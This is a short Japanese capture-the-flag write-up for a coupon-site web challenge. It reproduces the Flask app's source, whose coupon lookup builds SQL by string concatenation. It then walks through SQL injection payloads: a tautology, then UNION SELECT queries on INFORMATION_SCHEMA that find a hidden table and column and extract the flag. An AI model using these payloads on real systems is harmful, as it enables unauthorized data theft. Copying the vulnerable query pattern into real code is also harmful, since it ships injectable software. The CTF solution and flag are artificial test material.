クーポンサイトが与えられる。
情報が少ないが、<!-- TODO remove it /?source=1 -->とソースコードにある。
from flask import Flask, render_template, request
from dotenv import load_dotenv
import mysql.connector
import os
load_dotenv()
def get_coupons(form):
coupons = list()
mydb = mysql.connector.connect(
host=os.getenv('mysql_host'),
user=os.getenv('mysql_user'),
password=os.getenv('mysql_pwd'),
database=os.getenv('mysql_db')
)
mycursor = mydb.cursor()
try:
mycursor.execute("SELECT * FROM coupons WHERE code = '" + str(form['cid']) + "'")
except:
pass
myresult = mycursor.fetchall()
for x in myresult:
coupons.append({
'code': x[1],
'value': x[2]
})
mycursor.close()
return coupons
app = Flask(__name__)
@app.route('/', methods=['POST', 'GET'])
def index(source=None):
if request.method == "POST":
coupons = get_coupons(request.form)
if coupons == []:
return render_template('list.html', error="Sorry, you didn't win")
else:
return render_template('list.html', coupons=coupons)
else:
if request.args.get('source') == '1':
with open(__file__, 'r') as r:
return r.read().strip()
else:
return render_template('base.html')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=7331)
' or 1 = 1 #を試すと普通にSQLiができる。
' UNION SELECT 1,TABLE_NAME,3 from INFORMATION_SCHEMA.COLUMNS #
c2VjcmV0LWRiという怪しいテーブルが見つかる。
' UNION SELECT 1,COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'c2VjcmV0LWRi' #
ZGVmaW5pdGVseS1ub3QtZmxhZwというカラムが見つかる。
' UNION SELECT 1,ZGVmaW5pdGVseS1ub3QtZmxhZw,3 FROM c2VjcmV0LWRi #
ok.出ました
BtS-CTF{7h475_h0w_y0u_ch347_1n_94m35}